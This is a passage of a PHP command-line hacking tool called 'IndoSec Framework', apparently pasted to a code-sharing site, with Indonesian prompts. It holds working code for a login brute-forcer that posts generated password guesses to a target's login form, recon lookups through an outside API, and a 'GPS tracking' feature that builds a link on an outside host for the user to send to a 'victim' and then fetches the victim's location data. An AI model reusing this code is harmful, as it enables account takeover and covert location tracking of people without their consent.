  116. echo "\n\n [+] Berhasil Membuat File => ".$file."\n\n";
  117. }
  118. function dnslookup($input)
  119. {
  120. echo "\nLoading... \n============================= Result ============================= \n";
  121. $ch = curl_init();
  122. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  123. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  124. curl_setopt($ch, CURLOPT_URL,'https://api.hackertarget.com/reversedns/?q='.$input);
  125. $result=curl_exec($ch);
  126. curl_close($ch);
  127.  
  128. $file = $input.'-result.txt';
  129. $isi = "
  130. ==============>{ IndoSec Framework }<================\n\n
  131. = Result Info : \n
  132. = Waktu : ".date('d-m-Y H:i:s')." \n
  133. = Domain : ".$input." \n
  134. = Tools : DNS Lookup
  135. ======================================================
  136. ".$result." ";
  137.  
  138. $open = fopen($file, 'a');
  139. fwrite($open, $isi);
  140. fclose($open);
  141.  
  142. touch($file);
  143. print $result;
  144. echo "\n\n [+] Berhasil Membuat File => ".$file."\n\n";
  145. }
  146. function host($input)
  147. {
  148. echo "\nLoading... \n============================= Result ============================= \n";
  149. $ch = curl_init();
  150. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  151. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  152. curl_setopt($ch, CURLOPT_URL,'https://api.hackertarget.com/hostsearch/?q='.$input);
  153. $result=curl_exec($ch);
  154. curl_close($ch);
  155.  
  156. $file = $input.'-result.txt';
  157. $isi = "
  158. ==============>{ IndoSec Framework }<================\n\n
  159. = Result Info : \n
  160. = Waktu : ".date('d-m-Y H:i:s')." \n
  161. = Domain : ".$input." \n
  162. = Tools : Host Search
  163. ======================================================
  164. ".$result." ";
  165.  
  166. $open = fopen($file, 'a');
  167. fwrite($open, $isi);
  168. fclose($open);
  169.  
  170. touch($file);
  171. print $result;
  172. echo "\n\n [+] Berhasil Membuat File => ".$file."\n\n";
  173. }
  174. // reverse
  175. function reverse($input)
  176. {
  177. echo "\nLoading... \n============================= Result ============================= \n";
  178. $ch = curl_init();
  179. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  180. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  181. curl_setopt($ch, CURLOPT_URL,'https://api.hackertarget.com/reverseiplookup/?q='.$input);
  182. $result=curl_exec($ch);
  183. curl_close($ch);
  184.  
  185. $file = $input.'-result.txt';
  186. $isi = "
  187. ==============>{ IndoSec Framework }<================\n\n
  188. = Result Info : \n
  189. = Waktu : ".date('d-m-Y H:i:s')." \n
  190. = Domain : ".$input." \n
  191. = Tools : Reverse IP
  192. ======================================================
  193. ".$result." ";
  194.  
  195. $open = fopen($file, 'a');
  196. fwrite($open, $isi);
  197. fclose($open);
  198.  
  199. touch($file);
  200. print $result;
  201. echo "\n\n [+] Berhasil Membuat File => ".$file."\n\n";
  202. }
  203. // whois
  204. function whois($input)
  205. {
  206. echo "\nLoading... \n============================= Result ============================= \n";
  207. $ch = curl_init();
  208. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  209. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  210. curl_setopt($ch, CURLOPT_URL,'https://api.hackertarget.com/whois/?q='.$input);
  211. $result=curl_exec($ch);
  212. curl_close($ch);
  213.  
  214. $file = $input.'-result.txt';
  215. $isi = "
  216. ==============>{ IndoSec Framework }<================\n\n
  217. = Result Info : \n
  218. = Waktu : ".date('d-m-Y H:i:s')." \n
  219. = Domain : ".$input." \n
  220. = Tools : Whois
  221. ======================================================
  222. ".$result." ";
  223.  
  224. $open = fopen($file, 'a');
  225. fwrite($open, $isi);
  226. fclose($open);
  227.  
  228. touch($file);
  229. print $result;
  230. echo "\n\n [+] Berhasil Membuat File => ".$file."\n\n";
  231. }
  232.  
  233. function track($input)
  234. {
  235. $url = "https://static-files.josebernard.com/demo/track.php?page=".base64_encode($input);
  236.  
  237. echo "\n\n [+] Your URL is Here => $url \n\n Silahkan Copy Link Tersebut dan Berikan Ke Korban !!! \n\n";
  238. }
  239.  
  240. // get_track
  241. function get_track($input)
  242. {
  243.  
  244. $a = system('curl --url https://static-files.josebernard.com/demo/GPS_TRACK_'.$input.'.html -o GPS_TRACK_'.$input.'.html');
  245.  
  246. echo "\n\nBerhasil Mendownload => GPS_TRACK_".$input.".html'";
  247. exit();
  248. }
  249.  
  250. // DownloadWordlist
  251. function DownloadWordlist($link)
  252. {
  253. $ch = curl_init();
  254. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  255. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  256. curl_setopt($ch, CURLOPT_URL, $link);
  257. $exe = curl_exec($ch);
  258.  
  259. $file = 'WordlistSendiri.txt';
  260. touch($file);
  261. $open = fopen($file, 'w');
  262. fwrite($open, $exe);
  263. fclose($open);
  264.  
  265. sleep(1);
  266. echo "\n [+] Success Downloading WordlistSendiri.txt\n";
  267. }
  268. // ========================================== FRONT END
  269.  
  270. $version = '1.0.0';
  271.  
  272. $logo = array(
  273. 1 => '
  274. .___ .___ _________
  275. | | ____ __| _/____ / _____/ ____ ____
  276. | |/ \ / __ |/ _ \\_____ \_/ __ \_/ ___\
  277. | | | \/ /_/ ( <_> ) \ ___/\ \___
  278. |___|___| /\____ |\____/_______ /\___ >\___ >
  279. \/ \/ \/ \/ \/
  280. ',
  281. 2 => "
  282. _____ _ __
  283. \_ \_ __ __| | ___ / _\ ___ ___
  284. / /\/ '_ \ / _` |/ _ \\ \ / _ \/ __|
  285. /\/ /_ | | | | (_| | (_) |\ \ __/ (__
  286. \____/ |_| |_|\__,_|\___/\__/\___|\___|
  287. ",
  288. 3 => "
  289. /$$$$$$ /$$ /$$$$$$
  290. |_ $$_/ | $$ /$$__ $$
  291. | $$ /$$$$$$$ /$$$$$$$ /$$$$$$ | $$ \__/ /$$$$$$ /$$$$$$$
  292. | $$ | $$__ $$ /$$__ $$ /$$__ $$| $$$$$$ /$$__ $$ /$$_____/
  293. | $$ | $$ \ $$| $$ | $$| $$ \ $$ \____ $$| $$$$$$$$| $$
  294. | $$ | $$ | $$| $$ | $$| $$ | $$ /$$ \ $$| $$_____/| $$
  295. /$$$$$$| $$ | $$| $$$$$$$| $$$$$$/| $$$$$$/| $$$$$$$| $$$$$$$
  296. |______/|__/ |__/ \_______/ \______/ \______/ \_______/ \_______/
  297.  
  298. ",
  299. 4 => "
  300. ____ ____ ___ ___ _____ ___ __
  301. | || \ | \ / \ / ___/ / _] / ]
  302. | | | _ || \ | ( \_ / [_ / /
  303. | | | | || D || O |\__ || _]/ /
  304. | | | | || || |/ \ || [_/ \_
  305. | | | | || || |\ || \ |
  306. |____||__|__||_____| \___/ \___||_____|\____|
  307.  
  308. ",
  309. 5 => "
  310. __ __ _ ____ __ ____ ____ ___
  311. ( )( ( \( \ / \ / ___)( __)/ __)
  312. )( / / ) D (( O )\___ \ ) _)( (__
  313. (__)\_)__)(____/ \__/ (____/(____)\___)
  314. ",
  315. 6 => "
  316. ██╗███╗ ██╗██████╗ ██████╗ ███████╗███████╗ ██████╗
  317. ██║████╗ ██║██╔══██╗██╔═══██╗██╔════╝██╔════╝██╔════╝
  318. ██║██╔██╗ ██║██║ ██║██║ ██║███████╗█████╗ ██║
  319. ██║██║╚██╗██║██║ ██║██║ ██║╚════██║██╔══╝ ██║
  320. ██║██║ ╚████║██████╔╝╚██████╔╝███████║███████╗╚██████╗
  321. ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═════╝
  322.  
  323. ",
  324. 7 => "
  325. ____ ___ ____
  326. `MM' `MM 6MMMMb\
  327. MM MM 6M' `
  328. MM ___ __ ____MM _____ MM ____ ____
  329. MM `MM 6MMb 6MMMMMM 6MMMMMb YM. 6MMMMb 6MMMMb.
  330. MM MMM9 `Mb 6M' `MM 6M' `Mb YMMMMb 6M' `Mb 6M' Mb
  331. MM MM' MM MM MM MM MM `Mb MM MM MM `'
  332. MM MM MM MM MM MM MM MM MMMMMMMM MM
  333. MM MM MM MM MM MM MM MM MM MM
  334. MM MM MM YM. ,MM YM. ,M9 L ,M9 YM d9 YM. d9
  335. _MM__MM_ _MM_ YMMMMMM_ YMMMMM9 MYMMMM9 YMMMM9 YMMMM9
  336.  
  337. ",
  338. 8 => "
  339. ______ __ ____
  340. /\__ _\ /\ \ /\ _`\
  341. \/_/\ \/ ___ \_\ \ ___\ \,\L\_\ __ ___
  342. \ \ \ /' _ `\ /'_` \ / __`\/_\__ \ /'__`\ /'___\
  343. \_\ \__/\ \/\ \/\ \L\ \/\ \L\ \/\ \L\ \/\ __//\ \__/
  344. /\_____\ \_\ \_\ \___,_\ \____/\ `\____\ \____\ \____\
  345. \/_____/\/_/\/_/\/__,_ /\/___/ \/_____/\/____/\/____/
  346.  
  347. "
  348. );
  349. $rand = rand(1,8);
  350.  
  351. print "
  352. ".$logo[$rand]."
  353.  
  354. IndoSec Framework Tools @ { IndoSec Coder Team }
  355.  
  356. *SCANNING
  357. 1.Nmap | 2.DNS Lookup | 3.Host Search | 4.ReverseIP | 5.Whois
  358. ==============================================================
  359.  
  360. *BRUTE
  361. 6.AdFind | 7.DirScanner | 8.SubdoBrute | 9.Login BruteForce
  362. ==============================================================
  363.  
  364. *TRACKING
  365. 20.GPS Tracking | 22.IP Tracking
  366. ==============================================================
  367.  
  368. --help --about --version
  369. \n";
  370.  
  371. echo " Use ?? : \n => ";
  372.  
  373. $input = trim(fgets(STDIN));
  374.  
  375. echo " : => Options ".$input."\n\n";
  376.  
  377. if($input == '--help'){
  378. echo "Makanya Di Baca Pake Mata ^_^ !!!";
  379. }elseif($input == '--version'){
  380. echo $version;
  381. }elseif($input == '--about'){
  382. print "
  383. Author : \n
  384. { IndoSec Coder Team } - Brilly4n @ ".date('Y')."
  385. ";
  386. }
  387. // nmap
  388. elseif ($input == '1') {
  389. echo " Domain/Ip : \n => ";
  390. $input2 = trim(fgets(STDIN));
  391. nmap($input2);
  392. }
  393. elseif ($input == '2') {
  394. echo " Domain/Ip : \n => ";
  395. $input2 = trim(fgets(STDIN));
  396. dnslookup($input2);
  397. }
  398. elseif ($input == '3') {
  399. echo " Domain/Ip : \n => ";
  400. $input2 = trim(fgets(STDIN));
  401. host($input2);
  402. }
  403. elseif ($input == '4') {
  404. echo " Domain/Ip : \n => ";
  405. $input2 = trim(fgets(STDIN));
  406. reverse($input2);
  407. }
  408. elseif ($input == '5') {
  409. echo " Domain/Ip : \n => ";
  410. $input2 = trim(fgets(STDIN));
  411. whois($input2);
  412. }elseif ($input == '6') {
  413. echo " Domain ex(https://google.com) : \n => ";
  414. $input2 = trim(fgets(STDIN));
  415. adfind($input2);
  416. }elseif ($input == '7') {
  417. echo " Domain ex(https://google.com) : \n => ";
  418. $input2 = trim(fgets(STDIN));
  419. adfind($input2);
  420. }
  421. elseif ($input == '8') {
  422. echo " Domain ex(google.com) : \n => ";
  423. $input2 = trim(fgets(STDIN));
  424. subdo($input2);
  425. }
  426. elseif ($input == '9') {
  427. echo "\n URL ex.(https://indosec.com/admin/login.php) \n => : ";
  428. $domain = trim(fgets(STDIN));
  429.  
  430. echo "\n\n Username ex.(admin, TiaRiska, Brilly4n) \n => : ";
  431. $user = trim(fgets(STDIN));
  432.  
  433. echo "\n\n Form Data ex.(username=*USER*&password=*PASS*&submit=1) \n => : ";
  434. $data = trim(fgets(STDIN));
  435.  
  436. echo "\n\n Tulisan Error ??? => : ";
  437. $err = trim(fgets(STDIN));
  438.  
  439. echo "\n\n (1) Wordlist Sendiri \n (2) Awto Generate Password \n (3) Awto Download Wordlist \n (4) Download Wordlist \n\n => : ";
  440. $pass = trim(fgets(STDIN));
  441.  
  442. $target = '';
  443. if ($pass == 1) {
  444. echo "\n Masukan File Wordlist => : ";
  445. $pass = trim(fgets(STDIN));
  446.  
  447. $files = file_get_contents($pass);
  448. $extract = explode("\n", $files);
  449.  
  450. foreach ($extract as $key) {
  451. $target1 = '';
  452. $target2 = '';
  453. $target1 .= str_replace('*USER*', 'tayo', 'username=*USER*&password=*PASS*&login=1');
  454. // $target2 .= str_replace('*PASS*', $key, $target1);
  455. echo $key."asdasd\n";
  456. // $ch = curl_init();
  457. // curl_setopt($ch, CURLOPT_URL, $domain);
  458. // curl_setopt($ch, CURLOPT_POST, true);
  459. // curl_setopt($ch, CURLOPT_POSTFIELDS, $target2);
  460. // curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  461. // $a = curl_exec($ch);
  462.  
  463. // if (preg_match("/$err/", $a)) {
  464. // echo "[-] $key => Password Tidak DiTemukan ! \n";
  465. // }else{
  466. // echo "\n[+] $key => Password DiTemukan !!! \n\n";
  467. // }
  468. }
  469. }elseif($pass == 2){
  470. echo "Membuat Password Otomatis .... ";
  471. // $data = 'username=*USER*&password=*PASS*&submit=1';
  472. $array = array(
  473. $user.'_admin',$user.'_123',$user.'_112233',$user.'_ADMIN',$user.'_admin123',$user.'_2018',$user.'_admin321',$user.'_321',$user.'_132',$user.'_admin2018',$user.'_2015',$user.'_2016',$user.'_2017',$user.'_4dm1n',$user.'_123_admin',$user.'_admin_123',$user.'_321',$user.'_332211',$user.'_admin',$user,$user.'_login',$user.'_user',$user.'_user123',$user.'_user1',$user.'_user2',$user.'_user3',$user.'_user123',$user.'_users',$user.'_users1',$user.'_users2',$user.'_users3',$user.'_users123',$user.'_users321',$user.'_password',$user.'_password123',$user.'_pass',$user.'_pass321',$user.'_pass123',$user.'_PASS',$user.'_p4ss',$user.'_','password','pass123','pass','p4ssw0rd','admin','admin123','admin321','admin2018','4dm1n','admin_123','admin_admin','admin_user','pass','123456','1234567890'
  474. );
  475. foreach ($array as $key) {
  476. $target2 = '';
  477. $target1 = str_replace('*USER*', $user, $data);
  478. $target2 .= str_replace('*PASS*', $key, $target1);
  479.  
  480. // echo $target2;
  481. // $pass = 'username='.$user.'&password='.$key.'&login=1';
  482. $ch = curl_init();
  483. curl_setopt($ch, CURLOPT_URL, $domain);
  484. curl_setopt($ch, CURLOPT_POST, true);
  485. curl_setopt($ch, CURLOPT_POSTFIELDS, $target2);
  486. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  487. $a = curl_exec($ch);
  488.  
  489. if (preg_match("/$err/", $a)) {
  490. echo "[-] $key => Password Tidak DiTemukan ! \n";
  491. }else{
  492. echo "\n[+] $key => Password DiTemukan !!! \n\n";
  493. $result = "[+] $key => Password DiTemukan !!!";
  494. }
  495. }
  496. $file = 'result.txt';
  497. $isi = "
  498. ==============>{ IndoSec Framework }<================\n\n
  499. = Result Info : \n
  500. = Waktu : ".date('d-m-Y H:i:s')." \n
  501. = Domain : ".$domain." \n
  502. = Tools : login BruteForce
  503. ======================================================
  504. ".$result."
  505. ";
  506.  
  507. $open = fopen($file, 'a');
  508. fwrite($open, $isi);
  509. fclose($open);
  510.  
  511. touch($file);
  512. print $result;
  513. echo "\n\n [+] Berhasil Membuat File => ".$file."\n\n";
  514.  
  515.  
  516. }elseif($pass == 3){
  517. echo "\n\n Download yang Mana mahanx ??? \n (1) Wordlist Mini \n (2) Wordlist Normal \n (3) Wordlist Extra \n => : ";
  518. $pass = trim(fgets(STDIN));
  519. }elseif($pass == 4){
  520. // echo "\n Link Wordlist => : ";
  521. // $link = trim(fgets(STDIN));
  522.  
  523. // echo "\n\n [+] Downloading Wordlist ...";
  524.  
  525. // DownloadWordlist($link);
  526.  
  527. $files = file_get_contents('WordlistSendiri.txt');
  528. $extract = explode("\n\r", $files);
  529.  
  530. foreach ($extract as $key) {
  531. echo $key."\n";
  532. }
  533.  
  534. }else{
  535. exit();
  536. }
  537.  
  538. }elseif ($input == '20') {
  539.  
  540. echo " (1) Create Tracking or (2) Get Tracking : \n => ";
  541. $input = trim(fgets(STDIN));
  542.  
  543. if ($input == 1) {
  544.  
  545. echo "\nMembuat Kunci ID : \n => Loading.... \n";
  546. $rand = rand(6,1234567890);
  547. echo "\n [+] Kunci ID Kamu => : ".$rand;
  548.  
  549. track($rand);
  550.  
  551. }elseif($input == 2){
  552. echo " Masukan Kunci ID Kamu : \n => ";
  553. $input2 = trim(fgets(STDIN));
  554. get_track($input2);
  555. }else{
  556. exit();
  557. }
  558.  
  559. }else{
  560. echo "Nggk Ada, Kok Maksain sihhh !!!\n\n";
  561. exit();
  562. }
  563.  
  564. ?>
Add Comment
Please, Sign In to add comment